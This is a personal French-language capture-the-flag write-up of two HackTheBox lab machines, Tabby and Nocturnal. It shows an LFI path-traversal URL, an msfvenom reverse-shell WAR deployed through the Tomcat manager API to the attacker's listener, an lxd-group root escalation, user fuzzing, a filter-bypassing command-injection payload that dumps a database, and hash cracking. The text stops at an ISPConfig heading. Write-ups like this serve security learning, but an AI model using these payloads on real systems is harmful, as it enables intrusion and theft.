HTB | Tabby

Mon, 05 May 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Tabby	Linux	10.10.10.194	Easy

System Info

1

Ubuntu

Users

1
2


tomcat : $3cureP4s5w0rd123!
ash : admin@it

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


$ nmap -sC -sV -p- -An -T4 10.10.10.194
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 45:3c:34:14:35:56:23:95:d6:83:4e:26:de:c6:5b:d9 (RSA)
| 256 89:79:3a:9c:88:b0:5c:ce:4b:79:b1:02:23:4b:44:a6 (ECDSA)
|_ 256 1e:e7:b9:55:dd:25:8f:72:56:e8:8e:65:d5:19:b0:8d (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Mega Hosting
|_http-server-header: Apache/2.4.41 (Ubuntu)
8080/tcp open http Apache Tomcat
|_http-title: Apache Tomcat

Foothold

Apache Tomcat - LFI

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39


http://megahosting.htb/news.php?file=../../../../../../../../etc/passwd

<<------------>>

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
tomcat:x:997:997::/opt/tomcat:/bin/false
mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false
ash:x:1000:1000:clive:/home/ash:/bin/bash

Tomcat Credentials using LFI

En utilisant la LFI sur le site web port 80, on peut retrouver les creds pour le serveur apache tomcat présent sur le port 8080:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


GET /news.php?file=../../../../../../../usr/share/tomcat9/etc/tomcat-users.xml HTTP/1.1

-------------------------
...
 <user username="role1" password="<must-be-changed>" roles="role1"/>
-->
 <role rolename="admin-gui"/>
 <role rolename="manager-script"/>
 <user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
</tomcat-users>

Upload War file

On comprend que le role manager-script nous permet d’utiliser l’API tomcat pour pouvoir upload un shell. Habituellement on aurait plus utiliser la GUI pour le faire, mais il nous manquer le role manager-gui ! On peut tout de meme le faire donc avec manager-script mais uniquement avec l’API, ce qu’on fait ici avec un curl :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


~/github/Hacking/HackTheBox/Machines/Linux/Easy/Tabby (main*) » msfvenom -p java/shell_reverse_tcp LHOST=10.10.14.10 LPORT=1337 -f war -o shell.war
Payload size: 13027 bytes
Final size of war file: 13027 bytes
Saved as: shell.war

~/github/Hacking/HackTheBox/Machines/Linux/Easy/Tabby (main*) » curl -X PUT -u 'tomcat:$3cureP4s5w0rd123!' --upload-file shell.war 'http://megahosting.htb:8080/manager/text/deploy?path=/shell&update=true'
OK - Deployed application at context path [/shell]

---------------------------

~ » nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.194] 46720
whoami
tomcat

Ash backup file - user flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


» cat linpeas.out | grep ash | tail
...
-rw-r--r-- 1 ash ash 8716 Jun 16 2020 /var/www/html/files/16162020_backup.zip <--------- HERE
...
-rw-r--r-- 1 root root 220 Feb 25 2020 /snap/core20/1081/etc/skel/.bash_logout
-rw-r--r-- 1 root root 220 Feb 25 2020 /etc/skel/.bash_logout
-rw-r--r-- 1 tomcat tomcat 220 Feb 25 2020 /opt/tomcat/.bash_logout

# Sur kali
$ zip2john 16162020_backup.zip > hash.txt

$ john --format=PKZIP hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
admin@it (16162020_backup.zip)
1g 0:00:00:01 DONE (2025-05-05 19:03) 0.9615g/s 9972Kp/s 9972Kc/s 9972KC/s adzlogan..adamsapple:)1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

On peut utiliser ce mot de passe pour elever nos privilèges vers l’utilisateur ash:

1
2
3
4
5
6
7
8


tomcat@tabby:/home$
tomcat@tabby:/home$ su ash
Password: admin@it
ash@tabby:/home$ whoami
ash
ash@tabby:/home$ cd ash/
ash@tabby:~$ cat user.txt
fb78.....79f6

Ash - SSH connexion

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


ash@tabby:~/.ssh$ ssh-keygen
...
ash@tabby:~/.ssh$ ls
authorized_keys id_rsa id_rsa.pub

----------------------

» ssh ash@10.10.10.194 -i ash.key # <-- avec la clé privée
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-31-generic x86_64)

.....
Last login: Tue May 19 11:48:00 2020
ash@tabby:~$

Privilege Escalation

Enumeration

On remarque de ash fait parti du groupe lxd et que lxd tourne sur la machine. ChatGPT m’a indiqué la possibilité d’une exploit avec lxd.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87


════════════════╣ Processes, Crons, Timers, Services and Sockets ╠════════════════
 ╚════════════════════════════════════════════════╝
╔══════════╣ Running processes (cleaned)
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#processes
root 81608 0.0 0.0 2488 588 ? S 17:18 0:00 _ bpfilter_umh
root 1 0.0 0.5 104124 11460 ? Ss 11:11 0:01 /sbin/init maybe-ubiquity
root 510 0.0 1.8 92596 37716 ? S<s 11:11 0:03 /lib/systemd/systemd-journald
root 537 0.0 0.2 21748 5884 ? Ss 11:11 0:00 /lib/systemd/systemd-udevd
root 677 0.0 0.9 411432 18380 ? SLsl 11:11 0:05 /sbin/multipathd -d -s
systemd+ 711 0.0 0.6 24312 13280 ? Ss 11:11 0:01 /lib/systemd/systemd-resolved
systemd+ 712 0.0 0.3 90388 6392 ? Ssl 11:11 0:01 /lib/systemd/systemd-timesyncd
 └─(Caps) 0x0000000002000000=cap_sys_time
root 722 0.0 0.5 47524 10376 ? Ss 11:11 0:00 /usr/bin/VGAuthService
root 723 0.0 0.3 162004 7860 ? S<sl 11:11 0:12 /usr/bin/vmtoolsd
root 847 0.0 0.3 235548 7296 ? Ssl 11:11 0:00 /usr/lib/accountsservice/accounts-daemon
message+ 848 0.0 0.2 7512 4604 ? Ss 11:11 0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
 └─(Caps) 0x0000000020000000=cap_audit_write
root 854 0.0 0.1 81944 3748 ? Ssl 11:11 0:00 /usr/sbin/irqbalance --foreground
syslog 856 0.0 0.2 224324 5344 ? Ssl 11:11 0:00 /usr/sbin/rsyslogd -n -iNONE
root 857 0.0 1.6 926232 33124 ? Ssl 11:11 0:02 /usr/lib/snapd/snapd
root 858 0.0 0.3 16864 7808 ? Ss 11:11 0:00 /lib/systemd/systemd-logind
root 895 0.0 0.1 6812 2992 ? Ss 11:11 0:00 /usr/sbin/cron -f
daemon[0m 934 0.0 0.1 3792 2280 ? Ss 11:11 0:00 /usr/sbin/atd -f
ash 78178 0.0 0.2 13896 5412 ? S 17:15 0:00 _ sshd: ash@pts/2
ash 78181 0.0 0.2 8544 5464 pts/2 Ss+ 17:15 0:00 _ -bash
ash 78265 0.0 0.5 24760 11216 pts/2 S 17:18 0:00 _ curl http://10.10.14.21/linpeas.sh
ash 78266 0.6 0.2 9260 5984 pts/2 S 17:18 0:00 _ bash
ash 81771 0.0 0.1 9260 4068 pts/2 S 17:18 0:00 _ bash
ash 81775 0.0 0.1 9208 3636 pts/2 R 17:18 0:00 | _ ps fauxwww
ash 81773 0.0 0.1 9260 2776 pts/2 R 17:18 0:00 _ bash
ash 81774 0.0 0.1 9260 2776 pts/2 S 17:18 0:00 _ bash
root 956 0.0 0.0 5828 1852 tty1 Ss+ 11:11 0:00 /sbin/agetty -o -p -- u --noclear tty1 linux
tomcat 960 0.1 8.6 3094604 175680 ? Ssl 11:11 0:38 /usr/lib/jvm/default-java/bin/java -Djava.util.logging.config.file=/var/lib/tomcat9/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djava.awt.headless=true -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /usr/share/tomcat9/bin/bootstrap.jar:/usr/share/tomcat9/bin/tomcat-juli.jar -Dcatalina.base=/var/lib/tomcat9 -Dcatalina.home=/usr/share/tomcat9 -Djava.io.tmpdir=/tmp org.apache.catalina.startup.Bootstrap start
 └─(Caps) 0x0000000000000400=cap_net_bind_service
tomcat 1399 0.0 0.0 2608 600 ? S 11:17 0:00 _ /bin/sh
 └─(Caps) 0x0000000000000400=cap_net_bind_service
tomcat 1419 0.0 0.4 15968 10104 ? S 11:18 0:00 | _ python3 -c import pty;pty.spawn("/bin/bash")
 └─(Caps) 0x0000000000000400=cap_net_bind_service
tomcat 1420 0.0 0.2 8568 5608 pts/0 Ss+ 11:18 0:00 | _ /bin/bash
 └─(Caps) 0x0000000000000400=cap_net_bind_service
tomcat 77260 0.0 0.0 2608 608 ? S 16:55 0:00 _ /bin/sh
 └─(Caps) 0x0000000000000400=cap_net_bind_service
tomcat 77273 0.0 0.4 15708 9796 ? S 16:55 0:00 _ python3 -c import pty;pty.spawn('/bin/bash')
 └─(Caps) 0x0000000000000400=cap_net_bind_service
tomcat 77274 0.0 0.2 8436 5452 pts/1 Ss 16:55 0:00 _ /bin/bash
 └─(Caps) 0x0000000000000400=cap_net_bind_service
root 77714 0.0 0.2 8776 4196 pts/1 S 17:07 0:00 _ su ash
ash 77738 0.0 0.2 8312 5352 pts/1 S+ 17:07 0:00 _ bash
root 973 0.0 0.8 193420 17916 ? Ss 11:11 0:00 /usr/sbin/apache2 -k start
www-data 990 0.0 0.4 193888 9792 ? S 11:11 0:00 _ /usr/sbin/apache2 -k start
www-data 993 0.0 0.4 193872 9776 ? S 11:11 0:00 _ /usr/sbin/apache2 -k start
www-data 1252 0.0 0.6 193872 12308 ? S 11:12 0:00 _ /usr/sbin/apache2 -k start
www-data 1254 0.0 0.6 193888 13444 ? S 11:12 0:00 _ /usr/sbin/apache2 -k start
www-data 1255 0.0 0.4 193864 9740 ? S 11:12 0:00 _ /usr/sbin/apache2 -k start
www-data 1256 0.0 0.4 193872 9764 ? S 11:12 0:00 _ /usr/sbin/apache2 -k start
www-data 1257 0.0 0.4 193888 9788 ? S 11:12 0:00 _ /usr/sbin/apache2 -k start
www-data 1258 0.0 0.4 193888 9776 ? S 11:12 0:00 _ /usr/sbin/apache2 -k start
www-data 35324 0.0 0.4 193856 9632 ? S 11:39 0:00 _ /usr/sbin/apache2 -k start
www-data 35326 0.0 0.3 193824 7816 ? S 11:39 0:00 _ /usr/sbin/apache2 -k start
root 983 0.0 0.3 232700 6908 ? Ssl 11:11 0:00 /usr/lib/policykit-1/polkitd --no-debug
ash 77728 0.0 0.4 18672 10004 ? Ss 17:07 0:00 /lib/systemd/systemd --user
ash 77732 0.0 0.1 105464 3480 ? S 17:07 0:00 _ (sd-pam)
ash 81372 0.0 0.1 7084 3992 ? Ss 17:18 0:00 _ /usr/bin/dbus-daemon[0m --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root 81391 0.3 0.0 2616 1936 ? Ss 17:18 0:00 /bin/sh /snap/lxd/21468/commands/daemon.start
root 81570 1.1 2.6 1458640 53604 ? Sl 17:18 0:00 _ lxd --logfile /var/snap/lxd/common/lxd/logs/lxd.log --group lxd
root 81557 0.0 0.0 85608 2016 ? Sl 17:18 0:00 lxcfs /var/snap/lxd/common/var/lib/lxcfs -p /var/snap/lxd/common/lxcfs.pid


╔══════════╣ Processes with credentials in memory (root req)
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#credentials-from-process-memory
gdm-password Not Found
gnome-keyring-daemon Not Found
lightdm Not Found
vsftpd Not Found
apache2 process found (dump creds from memory as root)
sshd: process found (dump creds from memory as root)

╔══════════╣ Processes whose PPID belongs to a different user (not root)
╚ You will know if a user can somehow spawn processes as a different user
Proc 77714 with ppid 77274 is run by user root but the ppid user is tomcat

╔══════════╣ Files opened by processes belonging to other users
╚ This is usually empty because of the lack of privileges to read other user processes information


ash@tabby:~$ groups ash
ash : ash adm cdrom dip plugdev lxd

lxd group privilege escalation - root flag

On trouve un tutoriel pour exploiter lxd : https://amanisher.medium.com/lxd-privilege-escalation-in-linux-lxd-group-ec7cafe7af63 Ainsi qu’un github avec le container à cloner sur la machine : https://github.com/saghul/lxd-alpine-builder

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46


ash@tabby:~$ cd lxd-alpine-builder/
ash@tabby:~/lxd-alpine-builder$ ls
alpine-v3.13-x86_64-20210218_0139.tar.gz
ash@tabby:~/lxd-alpine-builder$ lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
Image imported with fingerprint: cd73881adaac667ca3529972c7b380af240a9e3b09730f8c8e4e6a23e1a7892b
ash@tabby:~/lxd-alpine-builder$ lxc image list
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+-----------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+-----------------------------+
| myimage | cd73881adaac | no | alpine v3.13 (20210218_01:39) | x86_64 | CONTAINER | 3.11MB | May 5, 2025 at 5:29pm (UTC) |
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+-----------------------------+
ash@tabby:~/lxd-alpine-builder$ lxc init myimage ignite -c security.privileged=true
Creating ignite
Error: No storage pool found. Please create a new storage pool
ash@tabby:~/lxd-alpine-builder$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]:
Name of the new storage pool [default=default]:
Name of the storage backend to use (btrfs, dir, lvm, zfs, ceph) [default=zfs]:
Create a new ZFS pool? (yes/no) [default=yes]:
Would you like to use an existing empty block device (e.g. a disk or partition)? (yes/no) [default=no]:
Size in GB of the new loop device (1GB minimum) [default=5GB]:
Would you like to connect to a MAAS server? (yes/no) [default=no]:
Would you like to create a new local network bridge? (yes/no) [default=yes]:
What should the new bridge be called? [default=lxdbr0]:
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
Would you like the LXD server to be available over the network? (yes/no) [default=no]:
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:

ash@tabby:~/lxd-alpine-builder$ lxc init myimage ignite -c security.privileged=true
Creating ignite
ash@tabby:~/lxd-alpine-builder$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to ignite
ash@tabby:~/lxd-alpine-builder$ lxc start ignite
ash@tabby:~/lxd-alpine-builder$ lxc exec ignite /bin/sh
~ # cd /mnt/root/
/mnt/root # ls
bin cdrom etc lib lib64 lost+found mnt proc run snap sys usr
boot dev home lib32 libx32 media opt root sbin srv tmp var
/mnt/root # cd root
/mnt/root/root # ls
root.txt snap
/mnt/root/root # cat root.txt 
47a3.....74a4

Tips

J’aurais dû mieux comprendre les roles et leur fonctionnement. Le role manager-script permet uniquement d’utiliser l’API de tomcat. J’aurais dû axé mes recherches sur les droits hérités de ce rôle pour mieux comprendre comment upload un reverse shell.

HTB | Nocturnal

Wed, 16 Apr 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Nocturnal	Linux	10.10.11.64	Easy

Users

1
2
3
4
5


amanda : arHkG7HAI68X8s1J
tobias : slowmotionapocalypse

## ISPConfig Dashboard
admin : slowmotionapocalypse

SystemInfo

1

Ubuntu 20.04.6 LTS (Focal Fossa)

Enumeration

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


$ nmap -sC -sV -An -p- -vvv -T4 10.10.11.64

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDpf3JJv7Vr55+A/O4p/l+TRCtst7lttqsZHEA42U5Edkqx/Kb8c+F0A4wMCVOMqwyR/PaMdmzAomYGvNYhi3NelwIEqdKKnL+5svrsStqb9XjyShPD9SQK5Su7xBt+/TfJyJFRcsl7ZJdfc6xnNHQITvwa6uZhLsicycj0yf1Mwdzy9hsc8KRY2fhzARBaPUFdG0xte2MkaGXCBuI0tMHsqJpkeZ46MQJbH5oh4zqg2J8KW+m1suAC5toA9kaLgRis8p/wSiLYtsfYyLkOt2U+E+FZs4i3vhVxb9Sjl9QuuhKaGKQN2aKc8ItrK8dxpUbXfHr1Y48HtUejBj+AleMrUMBXQtjzWheSe/dKeZyq8EuCAzeEKdKs4C7ZJITVxEe8toy7jRmBrsDe4oYcQU2J76cvNZomU9VlRv/lkxO6+158WtxqHGTzvaGIZXijIWj62ZrgTS6IpdjP3Yx7KX6bCxpZQ3+jyYN1IdppOzDYRGMjhq5ybD4eI437q6CSL20=
| 256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLcnMmaOpYYv5IoOYfwkaYqI9hP6MhgXCT9Cld1XLFLBhT+9SsJEpV6Ecv+d3A1mEOoFL4sbJlvrt2v5VoHcf4M=
| 256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIASsDOOb+I4J4vIK5Kz0oHmXjwRJMHNJjXKXKsW0z/dy
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)

Foothold

File upload

On trouve un site web, on peut s’inscrire et poster des fichiers. Avec beaucoup de recherche, je ne trouve pas de faille pour uploader un shell par exemple et executer du code php. Rien ne semble vulnérable.

En téléchargeant mes propres fichiers, et en analysant la requete effectué avec Burp. Je découvre qu’il est possible de vérifier si un utilisateur existe ou non. En plus, si il existe, et qu’on précise un mauvais fichier pour l’upload, il nous propose les autres fichiers disponibles pour cet utilisateur !

Dans un premier et j’ai fait une requete Burp. Lorsqu’un utilisateur est mauvais, j’ai vu que la taille de la requete était de 2985octets. Information importante pour pouvoir fuzzer ensuite les usernames. En effet, si la reponse a ma requete est différente de cette taille, alors il est probable que l’utilisateur existe.

Je mets la requete a effectué pour fuzzer les noms d’utilisateur, avec le mot clé “FUZZ” au bon endroit :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


~/github/Hacking/HackTheBox/Machines/Linux/Easy/Nocturnal (main*) » cat dl.req
GET /view.php?username=FUZZ&file=a.pdf HTTP/1.1
Host: nocturnal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://nocturnal.htb/dashboard.php
Cookie: PHPSESSID=u9iupob4f8khh30retevlt8gc6
Upgrade-Insecure-Requests: 1
Priority: u=0, i

J’utilise ensuite l’outil ffuf avec une liste de usernames de seclists. Je précise le parametre -fs 2985 qui affiche donc les utilisateurs uniquement si la reponse renvoyé a une taille différente de 2985. Pour faire “egale”, on aurait écrit “-ms” :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37


~/github/Hacking/HackTheBox/Machines/Linux/Easy/Nocturnal (main*) » ffuf -request dl.req -request-proto http -w /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames-dup.txt -fs 2985

 /'___\ /'___\  /'___\ 
 /\ \__/ /\ \__/ __ __ /\ \__/
 \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ 
 \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
 \ \_\  \ \_\  \ \____/ \ \_\ 
 \/_/ \/_/ \/___/ \/_/

 v2.1.0-dev
________________________________________________

 :: Method : GET
 :: URL : http://nocturnal.htb/view.php?username=FUZZ&file=a.pdf
 :: Wordlist : FUZZ: /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames-dup.txt
 :: Header : Accept-Encoding: gzip, deflate, br
 :: Header : Cookie: PHPSESSID=u9iupob4f8khh30retevlt8gc6
 :: Header : Upgrade-Insecure-Requests: 1
 :: Header : Priority: u=0, i
 :: Header : Host: nocturnal.htb
 :: Header : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
 :: Header : Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
 :: Header : Connection: keep-alive
 :: Header : Referer: http://nocturnal.htb/dashboard.php
 :: Header : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 :: Follow redirects : false
 :: Calibration : false
 :: Timeout : 10
 :: Threads : 40
 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter : Response size: 2985
________________________________________________

admin [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 26ms]
hello [Status: 200, Size: 3118, Words: 1175, Lines: 129, Duration: 21ms]
amanda [Status: 200, Size: 3113, Words: 1175, Lines: 129, Duration: 20ms]
tobias [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 19ms]

On trouve plusieurs usernames, dont amanda qui est correct et contient un fichier privacy avec un mot de passe a l’interieur:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


GET /view.php?username=amanda&file=privacy.odt HTTP/1.1
Host: nocturnal.htb
...

--------------

Dear Amanda,
Nocturnal has set the following temporary password for you: arHkG7HAI68X8s1J. This password has been set for all our services, so it is essential that you change it on your first login to ensure the security of your account and our infrastructure.
The file has been created and provided by Nocturnal's IT team. If you have any questions or need additional assistance during the password change process, please do not hesitate to contact us.
Remember that maintaining the security of your credentials is paramount to protecting your information and that of the company. We appreciate your prompt attention to this matter.

Yours sincerely,
Nocturnal's IT team

Amanda - Admin Dashboard

On peut creer une backup des fichiers. On peut injecter des commandes dans le champs permettant de préciser le mot de passe du zip. L’idée est de bypasser le filtre qui interdit les espaces, ‘;’ etc.. En utilisant “%09” on peut bypasser le filtre et mettre des espaces ! Attention a toujours tester ce genre de choses dans Burp !! En faisant directement dans la part

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


POST /admin.php HTTP/1.1
Host: nocturnal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
Origin: http://nocturnal.htb
Connection: keep-alive
Referer: http://nocturnal.htb/admin.php
Cookie: PHPSESSID=h28ba7dgkhrqt67c0ktleof1d1
Upgrade-Insecure-Requests: 1
Priority: u=0, i

password=%0Abash%09-c%09"base64%09/var/www/nocturnal_database/nocturnal_database.db"%0A&backup=

nocturnal.db

On peut maintenant dumper la db et casser le hachage du mot de passe de :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


~/github/Hacking/HackTheBox/Machines/Linux/Easy/Nocturnal (main*) » sqlite3 ~/Téléchargements/download.sqlite
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
uploads users
sqlite> select * from users;
1|admin|d725aeba143f575736b07e045d8ceebb
2|amanda|df8b20aa0c935023f99ea58358fb63c4
4|tobias|55c82b1ccd55ab219b3b109b07d5061d
6|test|098f6bcd4621d373cade4e832627b4f6

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


~/github/Hacking/HackTheBox/Machines/Linux/Easy/Nocturnal (main*) » hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
...

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 2 secs

55c82b1ccd55ab219b3b109b07d5061d:slowmotionapocalypse

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: 55c82b1ccd55ab219b3b109b07d5061d
Time.Started.....: Wed Apr 16 14:57:40 2025 (1 sec)
Time.Estimated...: Wed Apr 16 14:57:41 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 12149.4 kH/s (4.50ms) @ Accel:2048 Loops:1 Thr:32 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 4128768/14344385 (28.78%)
Rejected.........: 0/4128768 (0.00%)
Restore.Point....: 3538944/14344385 (24.67%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: stefy06 -> ruddsound1
Hardware.Mon.#1..: Temp: 35c Fan: 46% Util: 29% Core:1544MHz Mem:3802MHz Bus:16

Started: Wed Apr 16 14:57:29 2025
Stopped: Wed Apr 16 14:57:42 2025
~/github/Hacking/HackTheBox/Machines/Linux/Easy/Nocturnal (main*) » hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt --show
55c82b1ccd55ab219b3b109b07d5061d:slowmotionapocalypse

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


~/github/Hacking/HackTheBox/Machines/Linux/Easy/Nocturnal (main*) » ssh -L 8888:localhost:8080 tobias@nocturnal.htb
tobias@nocturnal.htb's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-212-generic x86_64)
...

Last login: Wed Apr 16 12:59:25 2025 from 10.10.14.10
tobias@nocturnal:~$ ls
user.txt
tobias@nocturnal:~$ cat user.txt
7922.....0dd3

Privilege Escalation

netstat -ano - port forwarding 8080

On découvre un port 8080 ouvert uniquement de l’interieur. On decide de faire du port forwarding pour voir la page web sur notre navigateur:

1

ssh -L 8888:localhost:8080 tobias@nocturnal.htb

ISPConfig 3.2.10p1

